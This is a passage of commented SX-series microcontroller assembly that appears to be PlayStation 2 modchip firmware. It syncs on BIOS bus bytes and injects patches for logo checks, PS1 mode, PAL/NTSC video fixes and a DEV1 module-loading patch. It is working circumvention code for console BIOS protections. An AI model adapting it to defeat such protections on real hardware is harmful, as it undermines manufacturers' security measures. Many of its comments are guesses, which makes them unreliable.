w,#$30 mov VAR_DC3,w mov w,#$7d mov VAR_TOFFSET,w mov w,#$7 jmp ALL_CONTIUNE_BIOS_PATCH V9_CONSOLE_17_BIOS mov w,#$4 mov VAR_DC3,w ; VAR_DC3 = 4 line start 1.7 BIOS ? mov w,#$94 mov VAR_TOFFSET,w mov w,#$17 jmp ALL_CONTIUNE_BIOS_PATCH V9_CONSOLE_19_BIOS setb VAR_PATCH_FLAGS.3 mov w,#$64 mov VAR_DC3,w ; VAR_DC3 = 64h = 100 line start 1.9 BIOS ? mov w,#$9e mov VAR_TOFFSET,w mov w,#$27 jmp ALL_CONTIUNE_BIOS_PATCH V12_CONSOLE_20_BIOS setb VAR_PATCH_FLAGS.3 setb VAR_SWITCH.0 mov w,#$7c mov VAR_DC3,w ; VAR_DC3 = 7ch = 124 line start 2.0 BIOS ? mov w,#$a9 mov VAR_TOFFSET,w mov w,#$27 ; 27h = 39 ALL_CONTIUNE_BIOS_PATCH snb VAR_SWITCH.4 ; jmp SECONDBIOS_PATCH_DEV1_STACK if VAR_SWITCH.4 set jmp SECONDBIOS_PATCH_DEV1_STACK mov VAR_DC3,w ; VAR_DC3 27h = 39 start line ? mov w,#$15 mov fsr,w ; fsr = 15h with fsr starting for SRAM patch caching. start 15h due to 10-14 disabled bank 0 LOAD_BIOS_PATCH_DATA mov w,VAR_DC3 ; VAR_DC3 moved w. VAR_DC3 equal start line orignally for LOAD_BIOS_PATCH_DATA call BIOS_PATCH_DATA mov indf,w ; mov value in w from patch data retw to indf which places it in the SRAM memory cache as addressed cycling. inc fsr ; +1 fsr to step up SRAM patch caching mov w,#$10 ; so that ends in top address of registery which is SRAM access. bottom 0-f reserved so when gets 1f goes 30h than 20h or fsr,w ; section 6.2.1 fig. 6-1 start at 15h then increase one 0001 0110 or 0001 0000 = 0001 1101 = 16h repeat inc VAR_DC3 ; +1 VAR_DC3 increased for LOAD_BIOS_PATCH_DATA loop pc+w line flow to retw decsz VAR_DC1 ; -1 VAR_DC1 till 0 then skip LOAD_BIOS_PATCH_DATA. has finished LOAD_BIOS_PATCH_DATA jmp LOAD_BIOS_PATCH_DATA clr fsr snb VAR_PATCH_FLAGS.2 ; jmp TRAY_IS_EJECTED if VAR_PATCH_FLAGS.2 is set page $0000 ; PAGE1 jmp TRAY_IS_EJECTED SECOND_BIOS_PATCH_SYNC snb IO_BIOS_OE ; next byte / wait for bios OE low ; ? is this verifying patch correct ??? jmp SECOND_BIOS_PATCH_SYNC mov w,#$60 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP1 sb IO_BIOS_OE ; skipping a byte next byte / wait for bios OE high jmp SECOND_BIOS_PATCH_SYNC_LOOP1 SECOND_BIOS_PATCH_SYNC_LOOP2 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp SECOND_BIOS_PATCH_SYNC_LOOP2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP3 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp SECOND_BIOS_PATCH_SYNC_LOOP3 SECOND_BIOS_PATCH_SYNC_LOOP4 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp SECOND_BIOS_PATCH_SYNC_LOOP4 mov w,#$4 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP5 sb IO_BIOS_OE ; skipping a byte next byte / wait for bios OE high jmp SECOND_BIOS_PATCH_SYNC_LOOP5 SECOND_BIOS_PATCH_SYNC_LOOP6 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp SECOND_BIOS_PATCH_SYNC_LOOP6 mov w,#$8 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC mov w,#$15 mov fsr,w SECOND_BIOS_PATCH_SYNC_P2 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp SECOND_BIOS_PATCH_SYNC_P2 mov w,#$7 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P2 SECOND_BIOS_PATCH_SYNC_P3 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp SECOND_BIOS_PATCH_SYNC_P3 mov w,#$3 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 SECOND_BIOS_PATCH_SYNC_P4 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp SECOND_BIOS_PATCH_SYNC_P4 SECOND_BIOS_PATCH_SYNC_P4_L1 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp SECOND_BIOS_PATCH_SYNC_P4_L1 mov w,#$24 mov w,IO_BIOS_DATA-w sb z ; w = 0000 0000 go to SECOND_BIOS_PATCH_SYNC_P4_L2 jmp SECOND_BIOS_PATCH_SYNC_P3 SECOND_BIOS_PATCH_SYNC_P4_L2 sb IO_BIOS_OE ; skip byte next byte / wait for bios OE high jmp SECOND_BIOS_PATCH_SYNC_P4_L2 mov !IO_BIOS_DATA,w ; from above w = 0000 0000 all IO_BIOS_DATA output. call RUN_BIOS_PATCHES_SRAM to send patch. SECOND_BIOS_PATCH_SYNC_P4_L3 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp SECOND_BIOS_PATCH_SYNC_P4_L3 page $0200 ; PAGE2 call RUN_BIOS_PATCHES_SRAM snb VAR_SWITCH.4 ; jmp FINISHED_RUN_START if VAR_SWITCH.4 is set for just patched dev1 page $0600 ; PAGE8 jmp FINISHED_RUN_START snb VAR_SWITCH.1 ; if set VAR_SWITCH.1 for call at end of patches its done v12 2.0 bios ps1 patching. jmp PS1_MODE_SUCESSFUL_END page $0400 ; PAGE4 jmp PS1_MODE_SUCESSFUL_END page $0000 ; PAGE1 jmp CHECK_IF_START_PS2LOGO ; jmp CHECK_IF_START_PS2LOGO if both VAR_SWITCH.1 VAR_SWITCH.4 not set meaning ps2 mode and expect to do logo patch SECONDBIOS_PATCH_DEV1_STACK mov w,#$1c mov fsr,w mov w,VAR_DC3 mov indf,w ; mov value in w from patch data retw to indf which places it in the SRAM memory cache as addressed cycling. inc fsr ; +1 fsr to step up SRAM patch caching mov w,VAR_TOFFSET mov indf,w clr fsr mov w,#$4 mov IO_BIOS_DATA,w mov w,#$77 mov VAR_DC2,w page $0200 ; PAGE2 jmp SECOND_BIOS_PATCH_SYNC POST_PATCH_4_MODE_START page $0000 ; PAGE1 call SET_RB_IO_BUS POST_PATCH_4_MODE_START2 snb VAR_SWITCH.4 ; jmp FINISHED_RUN_START_2 if DEV1 mode page $0600 ; PAGE8 jmp FINISHED_RUN_START_2 mov w,#$64 mov VAR_TOFFSET,w POST_PATCH_4_MODE_START_L1 mov w,#$ff mov VAR_DC3,w POST_PATCH_4_MODE_START_L2 mov w,#$ff mov VAR_DC2,w POST_PATCH_4_MODE_START_L3 mov w,#$ff mov VAR_DC1,w POST_PATCH_4_MODE_START_L4 sb IO_BIOS_CS ; next byte / wait for bios CE high jmp POST_PATCH_4_MODE_START_P2 decsz VAR_DC1 jmp POST_PATCH_4_MODE_START_L4 decsz VAR_DC2 jmp POST_PATCH_4_MODE_START_L3 decsz VAR_DC3 jmp POST_PATCH_4_MODE_START_L2 decsz VAR_TOFFSET jmp POST_PATCH_4_MODE_START_L1 jmp PS2_MODE_RB_IO_SET_SLEEP POST_PATCH_4_MODE_START_L5 snb IO_BIOS_CS ; next byte / wait for bios CE LOW = BIOS select jmp POST_PATCH_4_MODE_START_L4 POST_PATCH_4_MODE_START_P2 mov w,#$a2 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 ; next byte / wait for bios OE low mov w,#$93 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 ; next byte / wait for bios OE low mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 clr fsr mov w,#$7 mov VAR_DC2,w mov w,#$8 mov IO_BIOS_DATA,w POST_PATCH4MODE_START_P2_L1 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp POST_PATCH4MODE_START_P2_L1 mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 ; next byte / wait for bios OE low mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 ; next byte / wait for bios OE low mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 ; next byte / wait for bios OE low mov w,#$a3 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 snb VAR_SWITCH.3 ; jmp POST_PATCH4MODE_END_P2 if VAR_SWITCH.3 set jmp POST_PATCH4MODE_END_P2 mov w,#$15 mov fsr,w POST_PATCH4MODE_START_P2_L2 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp POST_PATCH4MODE_START_P2_L2 nop mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L2 POST_PATCH4MODE_START_P2_L3 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp POST_PATCH4MODE_START_P2_L3 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA mode change ? how POST_PATCH4MODE_END_P1 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp POST_PATCH4MODE_END_P1 page $0200 ; PAGE2 call RUN_BIOS_PATCHES_SRAM sb VAR_PATCH_FLAGS.0 page $0000 ; PAGE1 jmp TRAY_IS_EJECTED jmp POST_PATCH_4_MODE_START2 POST_PATCH4MODE_END_P2 clrb VAR_SWITCH.3 jmp POST_PATCH_4_MODE_START2 PS2_MODE_RB_IO_SET_SLEEP mode $000A ; XAh WKED_B Each register bit selects the edge sensitivity of the corresponding Port B input pin for MIWU operation. ;todo mov w,#$6 ; 0000 0110 Set the bit to 1 to sense falling (high-to-low) edges. mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST high-to-low sense mode $0009 ; X9h Exchange WKPND_B clr w ; 0000 0000 mov !IO_CDDVD_BUS,w ; A bit set to 1 indicates that a valid edge has occurred on the corresponding MIWU pin, triggering a wakeup or interrupt. ; A bit set to 0 indicates that no valid edge has occurred on the MIWU pin. ; The WKPND_B register comes up with undefine value upon reset. mode $000B ; XBh WKEN_B Multi-Input Wakeup/Interrupt (MIWU) function for the corresponding Port B input pin. ; Clear the bit to 0 to enable MIWU operation or set the bit to 1 to disable MIWU operation. snb VAR_PATCH_FLAGS.2 ; jmp PS1_MODE_RB_IO_SET_SLEEP if VAR_PATCH_FLAGS.2 is set jmp PS1_MODE_RB_IO_SET_SLEEP ; skip below io set and jmp PS1_MODE_RB_IO_SET_SLEEP mov w,#$f1 ; 1111 0001 mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST rb.3 IO_EJECT enabled sleep PS1_MODE_RB_IO_SET_SLEEP mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ; rb.2 IO_REST rb.3 IO_EJECT enabled sleep org $0400 ; PAGE4 400-5FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P4 ;todo SX28 define not for sx48 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_WAIT_OE_LO_P4 ; next byte / wait for bios OE low ret ;-------------------------------------------------------------------------------- PS2LOGO_PATCH ; xcddvdman used to inject logo ? ;-------------------------------------------------------------------------------- jmp pc+w retw $0 retw $e0 retw $3 retw $0 retw $0 retw $0 retw $0 retw $8 retw $11 retw $3c retw $c1 retw $0 retw $31 retw $36 retw $18 retw $16 retw $91 retw $ac retw $c retw $0 retw $0 retw $0 retw $0 retw $0 retw $0 retw $0 retw $20 ;start ps2logo line 1 retw $38 retw $11 retw $0 retw $0 retw $60 retw $3 retw $24 retw $0 retw $0 retw $e2 retw $90 retw $0 retw $0 retw $e4 retw $90 retw $ff retw $ff retw $63 retw $24 retw $26 retw $20 retw $82 retw $0 retw $0 retw $0 retw $e4 retw $a0 retw $fb retw $ff retw $61 retw $4 retw $1 retw $0 retw $e7 retw $24 ;ps2logo end of line 9 mov w,#$49 mov VAR_DC3,w snb VAR_PATCH_FLAGS.3 ;skip next line if not 1.9-2.0 bios jmp PS2LOGO_PATCH_11_17_JMP1 mov w,#$44 ;1.9-2.0 ONLY PS2LOGO mov VAR_DC3,w retw $d0 retw $80 mov w,#$4b mov VAR_DC3,w jmp PS2LOGO_PATCH_19_20_JMP1 PS2LOGO_PATCH_11_17_JMP1 retw $50 ;1.1-1.7 ONLY PS2LOGO BYTE SKIPPING ABOVE 1.9-2.0 ONLY retw $81 PS2LOGO_PATCH_19_20_JMP1 retw $80 ;ALL BIOS PATCH RUN JUST LINKING FROM ABOVE SNB JMP retw $af retw $2e retw $1 retw $22 retw $92 retw $2f retw $1 retw $23 retw $92 retw $26 retw $10 retw $43 retw $0 retw $1a retw $0 retw $3 retw $24 retw $3 retw $0 retw $43 retw $14 retw $1 retw $0 retw $7 retw $24 mov w,#$7f mov VAR_DC3,w snb VAR_PATCH_FLAGS.3 ;skip next line if not 1.9-2.0 bios jmp PS2LOGO_PATCH_19_20_JMP2 mov w,#$6b ;1.1-1.7 ONLY PS2LOGO BYTE SKIPPING ABOVE 1.9-2.0 ONLY mov VAR_DC3,w retw $bd ; start second last line ps2logo retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af ; end last line ps2logo retw $0 retw $0 retw $7 retw $24 retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af PS2LOGO_PATCH_19_20_JMP2 retw $af ;ALL BIOS PATCH RUN JUST LINKING FROM ABOVE SNB JMP retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af retw $af retw $5 retw $4 retw $8 START_PS2LOGO_PATCH_LOAD mov w,#$72 ; 72h = 114 mov VAR_DC1,w ; VAR_DC1 = 114 mov VAR_DC2,w ; VAR_DC2 = 114 clr w ; 0 mov VAR_DC3,w ; VAR_DC3 = 0 mov w,#$15 mov fsr,w ; fsr = 15h with fsr starting for SRAM patch caching. start 15h due to 10-14 disabled bank 0 PS2LOGO_PATCHLOAD_LOOP mov w,VAR_DC3 call PS2LOGO_PATCH mov indf,w ; mov value in w from patch data retw to indf which places it in the SRAM memory cache as addressed cycling. inc fsr ; +1 fsr to step up SRAM patch caching mov w,#$10 ; so that ends in top address of registery which is SRAM access. bottom 0-f reserved so when gets 1f goes 30h than 20h or fsr,w ; section 6.2.1 fig. 6-1 start at 15h then increase one 0001 0110 or 0001 0000 = 0001 1101 = 16h repeat inc VAR_DC3 ; +1 VAR_DC3 starting 0 decsz VAR_DC1 ; jmp PS2LOGO_PATCHLOAD_LOOP till VAR_DC1 = 0 jmp PS2LOGO_PATCHLOAD_LOOP clr fsr ; ? snb VAR_SWITCH.3 ; jmp POST_PATCH_4_MODE_START2 if VAR_SWITCH.3 set page $0200 ; PAGE2 jmp POST_PATCH_4_MODE_START2 PS1_DETECTED_REBOOT clr fsr mov w,#$6b mov VAR_DC2,w mov w,#$8 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$e0 mov VAR_PSX_TEMP,w mov w,#$9d mov VAR_PSX_BITC,w mov w,#$40 mov IO_BIOS_DATA,w snb VAR_SWITCH.0 ; only jmp PS1_MODE_START if VAR_SWITCH.0 set 2.0 bios v12 jmp PS1_MODE_START ; skipped by all but 2.0 bios v12 mov w,#$af mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$6 mov VAR_PSX_TEMP,w mov w,#$8 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w snb VAR_PATCH_FLAGS.3 ; skip jmp PS1_DETECTED_REBOOT_JMP11to17_ALL line if not 1.9-2.0 bios due to above only run for 1.9 v11 jmp PS1_DETECTED_REBOOT_JMP11to17_ALL ;jmp PS1_DETECTED_REBOOT_JMP11to17_ALL if is 1.1-1.7 bios mov w,#$1e ; only ran for 1.9-2.0 bios mov VAR_PSX_TEMP,w ; set VAR_PSX_TEMP = #$1e if 1.9-2.0 bios PS1_DETECTED_REBOOT_JMP11to17_ALL mov w,#$57 mov VAR_DC2,w mov w,#$50 mov VAR_PSX_BYTE,w PS1_DETECTED_REBOOT_L1 mov w,#$ff mov VAR_DC3,w PS1_DETECTED_REBOOT_L2 mov w,#$ff mov VAR_DC1,w AUTO_REBOOT_PS1MODE sb IO_BIOS_CS ; next byte / wait for bios CE high jmp PSX_MODE_START_P2 decsz VAR_DC1 jmp AUTO_REBOOT_PS1MODE decsz VAR_DC3 jmp PS1_DETECTED_REBOOT_L2 decsz VAR_PSX_BYTE jmp PS1_DETECTED_REBOOT_L1 IFDEF RSTBUMP mode $000B ; XBh rb WKEN_B: Wakeup Enable Register (MODE=XBh) Clear the bit to 0 to enable MIWU operation or set the bit to 1 to disable, MIWU operation. see Section 4.4. mov w,#$ff ; 1111 1111 mov !rb,w ; above set for rb mode $000F ; XFh mode direction for RA, RB, RC output mov w,#$0 ; 0000 0000 mov rb,w ; rb = 0 ? clear rb values mov w,#$fb ; 1111 1011 rb.2 IO_REST output ELSE mov w,#$0 ; set w = #$0 = 0 mov rb,w ; set rb = w = 0 ? clear rb values mov w,#$fe ; 1111 1110 rb.0 F output ENDIF mov !IO_CDDVD_BUS,w ; set from above routine to rb bus page $0000 ; PAGE1 call MODE_SELECT_TIMER ; calls MODE_SELECT_TIMER for ps1 mode set mov w,#$ff ; 1111 1111 mov !IO_CDDVD_BUS,w ; all rb inputs setb VAR_PATCH_FLAGS.2 ; ps1 mode set VAR_PATCH_FLAGS.2 related here ? page $0000 ; PAGE1 jmp CHECK_IF_V9to12 PS1_MODE_START snb IO_BIOS_CS ; next byte / wait for bios CE LOW = BIOS select jmp AUTO_REBOOT_PS1MODE PSX_MODE_START_P2 mov w,VAR_PSX_BC_CDDVD_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L1 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp PS1_MODE_L1 PS1_MODE_L2 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp PS1_MODE_L2 mov w,VAR_PSX_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L3 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp PS1_MODE_L3 PS1_MODE_L4 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp PS1_MODE_L4 mov w,VAR_PSX_BITC mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START snb VAR_SWITCH.0 ; only jmp PS1_MODE_v12_PATCHS if VAR_SWITCH.0 set 2.0 bios v12 jmp PS1_MODE_v12_PATCHS ; skipped by all but 2.0 bios v12 mov w,#$3c mov fsr,w PS1_MODE_L5 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp PS1_MODE_L5 nop mov w,#$c mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_L5 PS1_MODE_L6 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp PS1_MODE_L6 mov !IO_BIOS_DATA,w PS1_MODE_L7 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp PS1_MODE_L7 page $0200 ; PAGE2 call RUN_BIOS_PATCHES_SRAM decsz VAR_TOFFSET jmp PS1_DETECTED_REBOOT_JMP11to17_ALL PS1_MODE_SUCESSFUL_END setb VAR_PATCH_FLAGS.0 page $0200 ; PAGE2 jmp POST_PATCH_4_MODE_START2 PS1_MODE_v12_PATCHS mov w,#$1c mov fsr,w setb VAR_SWITCH.1 ; set VAR_SWITCH.1 for call at end of patches its done v12 2.0 bios ps1 patching page $0200 ; PAGE2 jmp SECOND_BIOS_PATCH_SYNC_P2 PS1_CONSOLE_PAL_YFIX mov w,#$3c ; todo is yfix pal console as seems no patch data ? mov IO_BIOS_DATA,w mov w,#$b mov VAR_DC2,w ; VAR_DC2 = bh = 11 mov w,#$15 mov fsr,w PS1_CONSOLE_PAL_YFIX_SYNC snb IO_BIOS_OE ; next byte / wait for bios OE low jmp PS1_CONSOLE_PAL_YFIX_SYNC mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 ; next byte / wait for bios OE low mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 ; next byte / wait for bios OE low mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 ; next byte / wait for bios OE low mov w,#$9 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC PS1_CONSOLE_PAL_YFIX_SYNC_L1 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 nop mov w,#$30 mov w,IO_BIOS_DATA-w sb z ; 0000 0000 jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 PS1_CONSOLE_PAL_YFIX_SYNC_L2 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp PS1_CONSOLE_PAL_YFIX_SYNC_L2 mov !IO_BIOS_DATA,w ; all IO_BIOS_DATA output. patches start ? PS1_CONSOLE_PAL_YFIX_SYNC_L3 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp PS1_CONSOLE_PAL_YFIX_SYNC_L3 page $0200 ; PAGE2 call RUN_BIOS_PATCHES_SRAM decsz VAR_TOFFSET jmp PS1_CONSOLE_PAL_YFIX PS1_CONSOLE_NTSC_YFIX mov w,#$34 mov VAR_DC1,w mov w,#$18 mov VAR_DC3,w mov VAR_TOFFSET,w PS1_CONSOLE_NTSC_YFIX_SYNC snb IO_BIOS_OE ; next byte / wait for bios OE low jmp PS1_CONSOLE_NTSC_YFIX_SYNC mov w,#$fd mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_NTSC_YFIX_SYNC PS1_CONSOLE_NTSC_YFIX_SYNC_L1 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp PS1_CONSOLE_NTSC_YFIX_SYNC_L1 PS1_CONSOLE_NTSC_YFIX_SYNC_L2 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp PS1_CONSOLE_NTSC_YFIX_SYNC_L2 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_NTSC_YFIX_SYNC PS1_CONSOLE_NTSC_YFIX_SYNC_L3 sb IO_BIOS_OE ; skip byte next byte / wait for bios OE high jmp PS1_CONSOLE_NTSC_YFIX_SYNC_L3 PS1_CONSOLE_NTSC_YFIX_SYNC_L4 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp PS1_CONSOLE_NTSC_YFIX_SYNC_L4 mov w,#$85 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_NTSC_YFIX_SYNC PS1_CONSOLE_NTSC_YFIX_SYNC_L5 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp PS1_CONSOLE_NTSC_YFIX_SYNC_L5 PS1_CONSOLE_NTSC_YFIX_SYNC_L6 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp PS1_CONSOLE_NTSC_YFIX_SYNC_L6 mov w,#$14 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_NTSC_YFIX_SYNC PS1_CONSOLE_NTSC_YFIX_SYNC_L7 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp PS1_CONSOLE_NTSC_YFIX_SYNC_L7 PS1_CONSOLE_NTSC_YFIX_SYNC_L8 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp PS1_CONSOLE_NTSC_YFIX_SYNC_L8 decsz VAR_DC1 jmp PS1_CONSOLE_NTSC_YFIX_SYNC_L7 mov w,#$3 mov IO_BIOS_DATA,w PS1_CONSOLE_NTSC_YFIX_PATCH_1 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp PS1_CONSOLE_NTSC_YFIX_PATCH_1 mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; all IO_BIOS_DATA output. patches start call BIOS_WAIT_OE_LO_P4 ; next byte / wait for bios OE low mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 ; next byte / wait for bios OE low mov w,#$4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 ; next byte / wait for bios OE low mov w,#$3c mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 ; next byte / wait for bios OE low mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; all IO_BIOS_DATA Hi-Z input. end patch PS1_CONSOLE_NTSC_YFIX_SYNC2 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp PS1_CONSOLE_NTSC_YFIX_SYNC2 PS1_CONSOLE_NTSC_YFIX_SYNC2_L1 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp PS1_CONSOLE_NTSC_YFIX_SYNC2_L1 decsz VAR_DC3 jmp PS1_CONSOLE_NTSC_YFIX_SYNC2 mov w,#$0 mov IO_BIOS_DATA,w PS1_CONSOLE_NTSC_YFIX_PATCH_2 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp PS1_CONSOLE_NTSC_YFIX_PATCH_2 mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; all IO_BIOS_DATA output. patches start call BIOS_WAIT_OE_LO_P4 ; next byte / wait for bios OE low mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 ; next byte / wait for bios OE low mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 ; next byte / wait for bios OE low mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 ; next byte / wait for bios OE low mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; all IO_BIOS_DATA Hi-Z input. patch end PS1_CONSOLE_NTSC_YFIX_SYNC3 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp PS1_CONSOLE_NTSC_YFIX_SYNC3 PS1_CONSOLE_NTSC_YFIX_SYNC3_L1 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp PS1_CONSOLE_NTSC_YFIX_SYNC3_L1 decsz VAR_TOFFSET jmp PS1_CONSOLE_NTSC_YFIX_SYNC3 mov w,#$88 mov IO_BIOS_DATA,w PS1_CONSOLE_NTSC_YFIX_PATCH_3 sb IO_BIOS_OE ; next byte / wait for bios OE high jmp PS1_CONSOLE_NTSC_YFIX_PATCH_3 mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; all IO_BIOS_DATA output. patches start call BIOS_WAIT_OE_LO_P4 ; next byte / wait for bios OE low mov w,#$2 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 ; next byte / wait for bios OE low mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 ; next byte / wait for bios OE low mov w,#$a4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 ; next byte / wait for bios OE low mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; all IO_BIOS_DATA Hi-Z input. patch end setb VAR_PATCH_FLAGS.0 page $0000 ; PAGE1 jmp PS1_MODE_START_PATCH org $0600 ; PAGE8 600-7FF ;-------------------------------------------------------------------------------- ;SX28_PAGE8 ;todo sx48 is define ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P8 snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_WAIT_OE_LO_P8 ; next byte / wait for bios OE low ret ;-------------------------------------------------------------------------------- BIOS_PATCH_DEV1 ; straight patch flow 0 - 118 ;-------------------------------------------------------------------------------- jmp pc+w retw $8 ; 0 retw $10 ; 1 retw $3c ; 2 retw $72 ; 3 retw $0 ; 4 retw $11 ; 5 retw $36 ; 6 retw $0 ; 7 retw $0 ; 8 retw $92 ; 9 retw $34 ; 10 retw $0 ; 11 retw $0 ; 12 retw $51 ; 13 retw $ae ; 14 retw $c ; 15 retw $0 ; 16 retw $0 ; 17 retw $0 ; 18 retw $3 ; 19 retw $0 ; 20 retw $5 ; 21 retw $24 ; 22 retw $10 ; 23 retw $0 ; 24 retw $4 ; 25 retw $3c ; 26 retw $f0 ; 27 retw $1 ; 28 retw $84 ; 29 retw $34 ; 30 retw $10 ; 31 retw $0 ; 32 retw $6 ; 33 retw $3c ; 34 retw $e4 ; 35 retw $1 ; 36 retw $c6 ; 37 retw $34 ; 38 retw $6 ; 39 retw $0 ; 40 retw $3 ; 41 retw $24 ; 42 retw $c ; 43 retw $0 ; 44 retw $0 ; 45 retw $0 ; 46 retw $fb ; 47 retw $1 ; 48 retw $10 ; 49 retw $0 ; 50 retw $b ; 51 retw $2 ; 52 retw $10 ; 53 retw $0 ; 54 retw $19 ; 55 retw $2 ; 56 retw $10 ; 57 retw $0 ; 58 retw $6d ; 59 retw $6f ; 60 retw $64 ; 61 retw $75 ; 62 retw $6c ; 63 retw $65 ; 64 retw $6c ; 65 retw $6f ; 66 retw $61 ; 67 retw $64 ; 68 retw $0 ; 69 retw $2d ; 70 retw $6d ; 71 retw $20 ; 72 retw $72 ; 73 retw $6f ; 74 retw $6d ; 75 retw $30 ; 76 retw $3a ; 77 retw $53 ; 78 retw $49 ; 79 retw $4f ; 80 retw $32 ; 81 retw 